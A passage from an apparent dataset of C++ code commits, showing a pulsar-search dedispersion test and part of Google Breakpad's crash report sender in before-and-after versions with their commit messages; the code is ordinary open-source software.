edgeToCountMap;\n\ttypedef std::map::iterator iterator;\n\n\tint meshErrors = 0;\t\n\n\tint faceOffset = 0;\n\tfor(int i=0; i occurences;\n\t\toccurences.reserve(count);\n\n\t\tAlembic::AbcCoreAbstract::ALEMBIC_VERSION_NS::int32_t* v = &faceIndices[faceOffset];\n\t\tfor(int j=0; j"} {"text":"\/\/ Copyright 2016 Alessio Sclocco \n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\nint main(int argc, char * argv[]) {\n unsigned int padding = 0;\n uint8_t inputBits = 0;\n bool printResults = false;\n uint64_t wrongSamples = 0;\n std::string channelsFile;\n AstroData::Observation observation_c;\n AstroData::Observation observation;\n\n try {\n isa::utils::ArgumentList args(argc, argv);\n printResults = args.getSwitch(\"-print_results\");\n inputBits = args.getSwitchArgument< unsigned int >(\"-input_bits\");\n padding = args.getSwitchArgument< unsigned int >(\"-padding\");\n channelsFile = args.getSwitchArgument< std::string >(\"-zapped_channels\");\n observation.setNrBeams(args.getSwitchArgument< unsigned int >(\"-beams\"));\n observation.setNrSyntheticBeams(args.getSwitchArgument< unsigned int >(\"-synthetic_beams\"));\n observation.setFrequencyRange(args.getSwitchArgument< unsigned int >(\"-subbands\"), args.getSwitchArgument< unsigned int >(\"-channels\"), args.getSwitchArgument< float >(\"-min_freq\"), args.getSwitchArgument< float >(\"-channel_bandwidth\"));\n observation.setNrSamplesPerBatch(args.getSwitchArgument< unsigned int >(\"-samples\"));\n observation.setDMSubbandingRange(args.getSwitchArgument< unsigned int >(\"-subbanding_dms\"), args.getSwitchArgument< float >(\"-subbanding_dm_first\"), args.getSwitchArgument< float >(\"-subbanding_dm_step\"));\n observation.setDMRange(args.getSwitchArgument< unsigned int >(\"-dms\"), 0.0, args.getSwitchArgument< float >(\"-dm_step\"));\n observation_c = observation;\n observation_c.setDMRange(observation.getNrDMsSubbanding() * observation.getNrDMs(), args.getSwitchArgument< float >(\"-dm_first\"), observation.getDMStep());\n } catch ( isa::utils::SwitchNotFound & err ) {\n std::cerr << err.what() << std::endl;\n return 1;\n } catch ( std::exception & err ) {\n std::cerr << \"Usage: \" << argv[0] << \" [-print_results] -input_bits ... -padding ... -zapped_channels ... -beams ... -synthetic_beams ... -min_freq ... -channel_bandwidth ... -samples ... -subbands ... -channels ... -subbanding_dms ... -dms ... -subbanding_dm_first ... -dm_first ... -subbanding_dm_step ... -dm_step ...\" << std::endl;\n return 1;\n }\n\n \/\/ Allocate memory\n std::vector< inputDataType > dispersedData;\n std::vector< outputDataType > subbandedData;\n std::vector< outputDataType > dedispersedData;\n std::vector< outputDataType > dedispersedData_c;\n std::vector< uint8_t > zappedChannels(observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t)));\n std::vector< uint8_t > beamDriver(observation_c.getNrSyntheticBeams() * observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t)));\n std::vector< float > * shifts = PulsarSearch::getShifts(observation_c, padding);\n\n AstroData::readZappedChannels(observation_c, channelsFile, zappedChannels);\n observation_c.setNrSamplesPerDispersedChannel(observation.getNrSamplesPerBatch() + static_cast< unsigned int >(shifts->at(0) * (observation_c.getFirstDM() + ((observation_c.getNrDMs() - 1) * observation_c.getDMStep()))));\n observation.setNrSamplesPerBatchSubbanding(observation.getNrSamplesPerBatch() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep()))));\n observation.setNrSamplesPerSubbandingDispersedChannel(observation.getNrSamplesPerBatchSubbanding() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDMSubbanding() + ((observation.getNrDMsSubbanding() - 1) * observation.getDMSubbandingStep()))));\n if ( inputBits >= 8 ) {\n dispersedData.resize(observation_c.getNrBeams() * observation_c.getNrChannels() * observation_c.getNrSamplesPerPaddedSubbandingDispersedChannel(padding \/ sizeof(inputDataType)));\n subbandedData.resize(observation.getNrBeams() * observation.getNrSubbands() * observation.getNrDMsSubbanding() * observation.getNrSamplesPerPaddedSubbandingDispersedChannel(padding \/ sizeof(inputDataType)));\n dedispersedData.resize(observation.getNrSyntheticBeams() * (observation.getNrDMsSubbanding() * observation.getNrDMs()) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(inputDataType)));\n dedispersedData_c.resize(observation_c.getNrSyntheticBeams() * observation_c.getNrDMs() * observation_c.getNrSamplesPerPaddedBatch(padding \/ sizeof(inputDataType)));\n } else {\n dispersedData.resize(observation_c.getNrBeams() * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n subbandedData.resize(observation.getNrBeams() * observation.getNrSubbands() * isa::utils::pad(observation.getNrSamplesPerSubbandingDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n dedispersedData.resize(observation.getNrSyntheticBeams() * (observation.getNrDMsSubbanding() * observation.getNrDMs()) * isa::utils::pad(observation.getNrSamplesPerBatch() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n dedispersedData_c.resize(observation_c.getNrSyntheticBeams() * observation_c.getNrDMs() * isa::utils::pad(observation_c.getNrSamplesPerBatch() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n }\n\n \/\/ Generate data\n srand(time(0));\n for ( unsigned int beam = 0; beam < observation_c.getNrBeams(); beam++ ) {\n for ( unsigned int channel = 0; channel < observation_c.getNrChannels(); channel++ ) {\n for ( unsigned int sample = 0; sample < observation_c.getNrSamplesPerDispersedChannel(); sample++ ) {\n if ( inputBits >= 8 ) {\n dispersedData[(beam * observation_c.getNrChannels() * observation_c.getNrSamplesPerPaddedDispersedChannel(padding \/ sizeof(inputDataType))) + (channel * observation_c.getNrSamplesPerPaddedDispersedChannel(padding \/ sizeof(inputDataType))) + sample] = rand() % observation_c.getNrChannels();\n } else {\n unsigned int byte = 0;\n uint8_t firstBit = 0;\n uint8_t value = rand() % inputBits;\n uint8_t buffer = 0;\n\n byte = sample \/ (8 \/ inputBits);\n firstBit = (sample % (8 \/ inputBits)) * inputBits;\n buffer = dispersedData[(beam * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + (channel * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + byte];\n for ( unsigned int bit = 0; bit < inputBits; bit++ ) {\n isa::utils::setBit(buffer, isa::utils::getBit(value, bit), firstBit + bit);\n }\n dispersedData[(beam * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + (channel * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + byte] = buffer;\n }\n }\n }\n }\n for ( unsigned int beam = 0; beam < observation_c.getNrSyntheticBeams(); beam++ ) {\n for ( unsigned int channel = 0; channel < observation_c.getNrChannels(); channel++ ) {\n beamDriver[(beam * observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t))) + channel] = rand() % observation_c.getNrBeams();\n }\n }\n std::fill(subbandedData.begin(), subbandedData.end(), 0);\n std::fill(dedispersedData.begin(), dedispersedData.end(), 0);\n std::fill(dedispersedData_c.begin(), dedispersedData_c.end(), 0);\n\n \/\/ Execute dedispersion\n PulsarSearch::dedispersion< inputDataType, intermediateDataType, outputDataType >(observation_c, zappedChannels, beamDriver, dispersedData, dedispersedData_c, *shifts, padding, inputBits);\n PulsarSearch::subbandDedispersionStepOne< inputDataType, intermediateDataType, outputDataType >(observation, zappedChannels, dispersedData, subbandedData, *shifts, padding, inputBits);\n PulsarSearch::subbandDedispersionStepTwo< outputDataType, intermediateDataType, outputDataType >(observation, beamDriver, subbandedData, dedispersedData, *shifts, padding);\n\n for ( unsigned int sBeam = 0; sBeam < observation.getNrSyntheticBeams(); sBeam++ ) {\n for ( unsigned int firstStepDM = 0; firstStepDM < observation.getNrDMsSubbanding(); firstStepDM++ ) {\n for ( unsigned int dm = 0; dm < observation.getNrDMs(); dm++ ) {\n if ( printResults ) {\n std::cout << \"sBeam: \" << sBeam << \" DM: \" << (firstStepDM * observation.getNrDMs()) + dm << std::endl;\n }\n for ( unsigned int sample = 0; sample < observation.getNrSamplesPerBatch(); sample++ ) {\n if ( !isa::utils::same(dedispersedData[(sBeam * observation.getNrDMsSubbanding() * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (firstStepDM * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (dm * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample], dedispersedData_c[(sBeam * observation_c.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (((firstStepDM * observation.getNrDMs()) + dm) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample]) ) {\n wrongSamples++;\n }\n if ( printResults ) {\n std::cout << dedispersedData[(sBeam * observation.getNrDMsSubbanding() * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (firstStepDM * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (dm * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample] << \",\" << dedispersedData_c[(sBeam * observation_c.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (((firstStepDM * observation.getNrDMs()) + dm) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample] << \" \";\n }\n }\n if ( printResults ) {\n std::cout << std::endl;\n }\n }\n }\n }\n\n if ( wrongSamples > 0 ) {\n std::cout << \"Wrong samples: \" << wrongSamples << \" (\" << (wrongSamples * 100.0) \/ (static_cast< uint64_t >(observation_c.getNrSyntheticBeams()) * observation_c.getNrDMs() * observation_c.getNrSamplesPerBatch()) << \"%).\" << std::endl;\n } else {\n std::cout << \"TEST PASSED.\" << std::endl;\n }\n\n return 0;\n}\n\nFixed the < 8 bit case.\/\/ Copyright 2016 Alessio Sclocco \n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\nint main(int argc, char * argv[]) {\n unsigned int padding = 0;\n uint8_t inputBits = 0;\n bool printResults = false;\n uint64_t wrongSamples = 0;\n std::string channelsFile;\n AstroData::Observation observation_c;\n AstroData::Observation observation;\n\n try {\n isa::utils::ArgumentList args(argc, argv);\n printResults = args.getSwitch(\"-print_results\");\n inputBits = args.getSwitchArgument< unsigned int >(\"-input_bits\");\n padding = args.getSwitchArgument< unsigned int >(\"-padding\");\n channelsFile = args.getSwitchArgument< std::string >(\"-zapped_channels\");\n observation.setNrBeams(args.getSwitchArgument< unsigned int >(\"-beams\"));\n observation.setNrSyntheticBeams(args.getSwitchArgument< unsigned int >(\"-synthetic_beams\"));\n observation.setFrequencyRange(args.getSwitchArgument< unsigned int >(\"-subbands\"), args.getSwitchArgument< unsigned int >(\"-channels\"), args.getSwitchArgument< float >(\"-min_freq\"), args.getSwitchArgument< float >(\"-channel_bandwidth\"));\n observation.setNrSamplesPerBatch(args.getSwitchArgument< unsigned int >(\"-samples\"));\n observation.setDMSubbandingRange(args.getSwitchArgument< unsigned int >(\"-subbanding_dms\"), args.getSwitchArgument< float >(\"-subbanding_dm_first\"), args.getSwitchArgument< float >(\"-subbanding_dm_step\"));\n observation.setDMRange(args.getSwitchArgument< unsigned int >(\"-dms\"), 0.0, args.getSwitchArgument< float >(\"-dm_step\"));\n observation_c = observation;\n observation_c.setDMRange(observation.getNrDMsSubbanding() * observation.getNrDMs(), args.getSwitchArgument< float >(\"-dm_first\"), observation.getDMStep());\n } catch ( isa::utils::SwitchNotFound & err ) {\n std::cerr << err.what() << std::endl;\n return 1;\n } catch ( std::exception & err ) {\n std::cerr << \"Usage: \" << argv[0] << \" [-print_results] -input_bits ... -padding ... -zapped_channels ... -beams ... -synthetic_beams ... -min_freq ... -channel_bandwidth ... -samples ... -subbands ... -channels ... -subbanding_dms ... -dms ... -subbanding_dm_first ... -dm_first ... -subbanding_dm_step ... -dm_step ...\" << std::endl;\n return 1;\n }\n\n \/\/ Allocate memory\n std::vector< inputDataType > dispersedData;\n std::vector< outputDataType > subbandedData;\n std::vector< outputDataType > dedispersedData;\n std::vector< outputDataType > dedispersedData_c;\n std::vector< uint8_t > zappedChannels(observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t)));\n std::vector< uint8_t > beamDriver(observation_c.getNrSyntheticBeams() * observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t)));\n std::vector< float > * shifts = PulsarSearch::getShifts(observation_c, padding);\n\n AstroData::readZappedChannels(observation_c, channelsFile, zappedChannels);\n observation_c.setNrSamplesPerDispersedChannel(observation.getNrSamplesPerBatch() + static_cast< unsigned int >(shifts->at(0) * (observation_c.getFirstDM() + ((observation_c.getNrDMs() - 1) * observation_c.getDMStep()))));\n observation.setNrSamplesPerBatchSubbanding(observation.getNrSamplesPerBatch() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep()))));\n observation.setNrSamplesPerSubbandingDispersedChannel(observation.getNrSamplesPerBatchSubbanding() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDMSubbanding() + ((observation.getNrDMsSubbanding() - 1) * observation.getDMSubbandingStep()))));\n if ( inputBits >= 8 ) {\n dispersedData.resize(observation_c.getNrBeams() * observation_c.getNrChannels() * observation_c.getNrSamplesPerPaddedSubbandingDispersedChannel(padding \/ sizeof(inputDataType)));\n subbandedData.resize(observation.getNrBeams() * observation.getNrSubbands() * observation.getNrDMsSubbanding() * observation.getNrSamplesPerPaddedSubbandingDispersedChannel(padding \/ sizeof(inputDataType)));\n dedispersedData.resize(observation.getNrSyntheticBeams() * (observation.getNrDMsSubbanding() * observation.getNrDMs()) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(inputDataType)));\n dedispersedData_c.resize(observation_c.getNrSyntheticBeams() * observation_c.getNrDMs() * observation_c.getNrSamplesPerPaddedBatch(padding \/ sizeof(inputDataType)));\n } else {\n dispersedData.resize(observation_c.getNrBeams() * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerPaddedDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n subbandedData.resize(observation.getNrBeams() * observation.getNrSubbands() * isa::utils::pad(observation.getNrSamplesPerSubbandingDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n dedispersedData.resize(observation.getNrSyntheticBeams() * (observation.getNrDMsSubbanding() * observation.getNrDMs()) * isa::utils::pad(observation.getNrSamplesPerBatch() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n dedispersedData_c.resize(observation_c.getNrSyntheticBeams() * observation_c.getNrDMs() * isa::utils::pad(observation_c.getNrSamplesPerBatch() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType)));\n }\n\n \/\/ Generate data\n srand(time(0));\n for ( unsigned int beam = 0; beam < observation_c.getNrBeams(); beam++ ) {\n for ( unsigned int channel = 0; channel < observation_c.getNrChannels(); channel++ ) {\n for ( unsigned int sample = 0; sample < observation_c.getNrSamplesPerDispersedChannel(); sample++ ) {\n if ( inputBits >= 8 ) {\n dispersedData[(beam * observation_c.getNrChannels() * observation_c.getNrSamplesPerPaddedDispersedChannel(padding \/ sizeof(inputDataType))) + (channel * observation_c.getNrSamplesPerPaddedDispersedChannel(padding \/ sizeof(inputDataType))) + sample] = rand() % observation_c.getNrChannels();\n } else {\n unsigned int byte = 0;\n uint8_t firstBit = 0;\n uint8_t value = rand() % inputBits;\n uint8_t buffer = 0;\n\n byte = sample \/ (8 \/ inputBits);\n firstBit = (sample % (8 \/ inputBits)) * inputBits;\n buffer = dispersedData[(beam * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + (channel * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + byte];\n for ( unsigned int bit = 0; bit < inputBits; bit++ ) {\n isa::utils::setBit(buffer, isa::utils::getBit(value, bit), firstBit + bit);\n }\n dispersedData[(beam * observation_c.getNrChannels() * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + (channel * isa::utils::pad(observation_c.getNrSamplesPerDispersedChannel() \/ (8 \/ inputBits), padding \/ sizeof(inputDataType))) + byte] = buffer;\n }\n }\n }\n }\n for ( unsigned int beam = 0; beam < observation_c.getNrSyntheticBeams(); beam++ ) {\n for ( unsigned int channel = 0; channel < observation_c.getNrChannels(); channel++ ) {\n beamDriver[(beam * observation_c.getNrPaddedChannels(padding \/ sizeof(uint8_t))) + channel] = rand() % observation_c.getNrBeams();\n }\n }\n std::fill(subbandedData.begin(), subbandedData.end(), 0);\n std::fill(dedispersedData.begin(), dedispersedData.end(), 0);\n std::fill(dedispersedData_c.begin(), dedispersedData_c.end(), 0);\n\n \/\/ Execute dedispersion\n PulsarSearch::dedispersion< inputDataType, intermediateDataType, outputDataType >(observation_c, zappedChannels, beamDriver, dispersedData, dedispersedData_c, *shifts, padding, inputBits);\n PulsarSearch::subbandDedispersionStepOne< inputDataType, intermediateDataType, outputDataType >(observation, zappedChannels, dispersedData, subbandedData, *shifts, padding, inputBits);\n PulsarSearch::subbandDedispersionStepTwo< outputDataType, intermediateDataType, outputDataType >(observation, beamDriver, subbandedData, dedispersedData, *shifts, padding);\n\n for ( unsigned int sBeam = 0; sBeam < observation.getNrSyntheticBeams(); sBeam++ ) {\n for ( unsigned int firstStepDM = 0; firstStepDM < observation.getNrDMsSubbanding(); firstStepDM++ ) {\n for ( unsigned int dm = 0; dm < observation.getNrDMs(); dm++ ) {\n if ( printResults ) {\n std::cout << \"sBeam: \" << sBeam << \" DM: \" << (firstStepDM * observation.getNrDMs()) + dm << std::endl;\n }\n for ( unsigned int sample = 0; sample < observation.getNrSamplesPerBatch(); sample++ ) {\n if ( !isa::utils::same(dedispersedData[(sBeam * observation.getNrDMsSubbanding() * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (firstStepDM * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (dm * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample], dedispersedData_c[(sBeam * observation_c.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (((firstStepDM * observation.getNrDMs()) + dm) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample]) ) {\n wrongSamples++;\n }\n if ( printResults ) {\n std::cout << dedispersedData[(sBeam * observation.getNrDMsSubbanding() * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (firstStepDM * observation.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (dm * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample] << \",\" << dedispersedData_c[(sBeam * observation_c.getNrDMs() * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + (((firstStepDM * observation.getNrDMs()) + dm) * observation.getNrSamplesPerPaddedBatch(padding \/ sizeof(outputDataType))) + sample] << \" \";\n }\n }\n if ( printResults ) {\n std::cout << std::endl;\n }\n }\n }\n }\n\n if ( wrongSamples > 0 ) {\n std::cout << \"Wrong samples: \" << wrongSamples << \" (\" << (wrongSamples * 100.0) \/ (static_cast< uint64_t >(observation_c.getNrSyntheticBeams()) * observation_c.getNrDMs() * observation_c.getNrSamplesPerBatch()) << \"%).\" << std::endl;\n } else {\n std::cout << \"TEST PASSED.\" << std::endl;\n }\n\n return 0;\n}\n\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2006, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ Disable exception handler warnings.\n#pragma warning( disable : 4530 )\n\n#include \n\n#include \"client\/windows\/sender\/crash_report_sender.h\"\n#include \"common\/windows\/http_upload.h\"\n\n#if _MSC_VER < 1400 \/\/ MSVC 2005\/8\n\/\/ Older MSVC doesn't have fscanf_s, but they are compatible as long as\n\/\/ we don't use the string conversions (%s\/%c\/%S\/%C).\n#define fscanf_s fscanf\n#endif\n\nnamespace google_breakpad {\n\nstatic const char kCheckpointSignature[] = \"GBP1\\n\";\n\nCrashReportSender::CrashReportSender(const wstring &checkpoint_file)\n : checkpoint_file_(checkpoint_file),\n max_reports_per_day_(-1),\n last_sent_date_(-1),\n reports_sent_(0) {\n FILE *fd;\n if (OpenCheckpointFile(L\"r\", &fd) == 0) {\n ReadCheckpoint(fd);\n fclose(fd);\n }\n}\n\nReportResult CrashReportSender::SendCrashReport(\n const wstring &url, const map ¶meters,\n const wstring &dump_file_name, wstring *report_code) {\n int today = GetCurrentDate();\n if (today == last_sent_date_ &&\n max_reports_per_day_ != -1 &&\n reports_sent_ >= max_reports_per_day_) {\n return RESULT_THROTTLED;\n }\n\n int http_response = 0;\n bool result = HTTPUpload::SendRequest(\n url, parameters, dump_file_name, L\"upload_file_minidump\", NULL, report_code,\n &http_response);\n\n if (result) {\n ReportSent(today);\n return RESULT_SUCCEEDED;\n } else if (http_response == 400) { \/\/ TODO: update if\/when the server\n \/\/ switches to a different code\n return RESULT_REJECTED;\n } else {\n return RESULT_FAILED;\n }\n}\n\nvoid CrashReportSender::ReadCheckpoint(FILE *fd) {\n char buf[128];\n if (!fgets(buf, sizeof(buf), fd) ||\n strcmp(buf, kCheckpointSignature) != 0) {\n return;\n }\n\n if (fscanf_s(fd, \"%d\\n\", &last_sent_date_) != 1) {\n last_sent_date_ = -1;\n return;\n }\n if (fscanf_s(fd, \"%d\\n\", &reports_sent_) != 1) {\n reports_sent_ = 0;\n return;\n }\n}\n\nvoid CrashReportSender::ReportSent(int today) {\n \/\/ Update the report stats\n if (today != last_sent_date_) {\n last_sent_date_ = today;\n reports_sent_ = 0;\n }\n ++reports_sent_;\n\n \/\/ Update the checkpoint file\n FILE *fd;\n if (OpenCheckpointFile(L\"w\", &fd) == 0) {\n fputs(kCheckpointSignature, fd);\n fprintf(fd, \"%d\\n\", last_sent_date_);\n fprintf(fd, \"%d\\n\", reports_sent_);\n fclose(fd);\n }\n}\n\nint CrashReportSender::GetCurrentDate() const {\n SYSTEMTIME system_time;\n GetSystemTime(&system_time);\n return (system_time.wYear * 10000) + (system_time.wMonth * 100) +\n system_time.wDay;\n}\n\nint CrashReportSender::OpenCheckpointFile(const wchar_t *mode, FILE **fd) {\n if (checkpoint_file_.empty()) {\n return ENOENT;\n }\n#if _MSC_VER >= 1400 \/\/ MSVC 2005\/8\n return _wfopen_s(fd, checkpoint_file_.c_str(), mode);\n#else\n *fd = _wfopen(checkpoint_file_.c_str(), mode);\n if (*fd == NULL) {\n return errno;\n }\n return 0;\n#endif\n}\n\n} \/\/ namespace google_breakpad\nActually treat fatal error codes as fatal\/\/ Copyright (c) 2006, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ Disable exception handler warnings.\n#pragma warning( disable : 4530 )\n\n#include \n\n#include \"client\/windows\/sender\/crash_report_sender.h\"\n#include \"common\/windows\/http_upload.h\"\n\n#if _MSC_VER < 1400 \/\/ MSVC 2005\/8\n\/\/ Older MSVC doesn't have fscanf_s, but they are compatible as long as\n\/\/ we don't use the string conversions (%s\/%c\/%S\/%C).\n#define fscanf_s fscanf\n#endif\n\nnamespace google_breakpad {\n\nstatic const char kCheckpointSignature[] = \"GBP1\\n\";\n\nCrashReportSender::CrashReportSender(const wstring &checkpoint_file)\n : checkpoint_file_(checkpoint_file),\n max_reports_per_day_(-1),\n last_sent_date_(-1),\n reports_sent_(0) {\n FILE *fd;\n if (OpenCheckpointFile(L\"r\", &fd) == 0) {\n ReadCheckpoint(fd);\n fclose(fd);\n }\n}\n\nReportResult CrashReportSender::SendCrashReport(\n const wstring &url, const map ¶meters,\n const wstring &dump_file_name, wstring *report_code) {\n int today = GetCurrentDate();\n if (today == last_sent_date_ &&\n max_reports_per_day_ != -1 &&\n reports_sent_ >= max_reports_per_day_) {\n return RESULT_THROTTLED;\n }\n\n int http_response = 0;\n bool result = HTTPUpload::SendRequest(\n url, parameters, dump_file_name, L\"upload_file_minidump\", NULL, report_code,\n &http_response);\n\n if (result) {\n ReportSent(today);\n return RESULT_SUCCEEDED;\n } else if (http_response >= 400 && http_response < 500) {\n return RESULT_REJECTED;\n } else {\n return RESULT_FAILED;\n }\n}\n\nvoid CrashReportSender::ReadCheckpoint(FILE *fd) {\n char buf[128];\n if (!fgets(buf, sizeof(buf), fd) ||\n strcmp(buf, kCheckpointSignature) != 0) {\n return;\n }\n\n if (fscanf_s(fd, 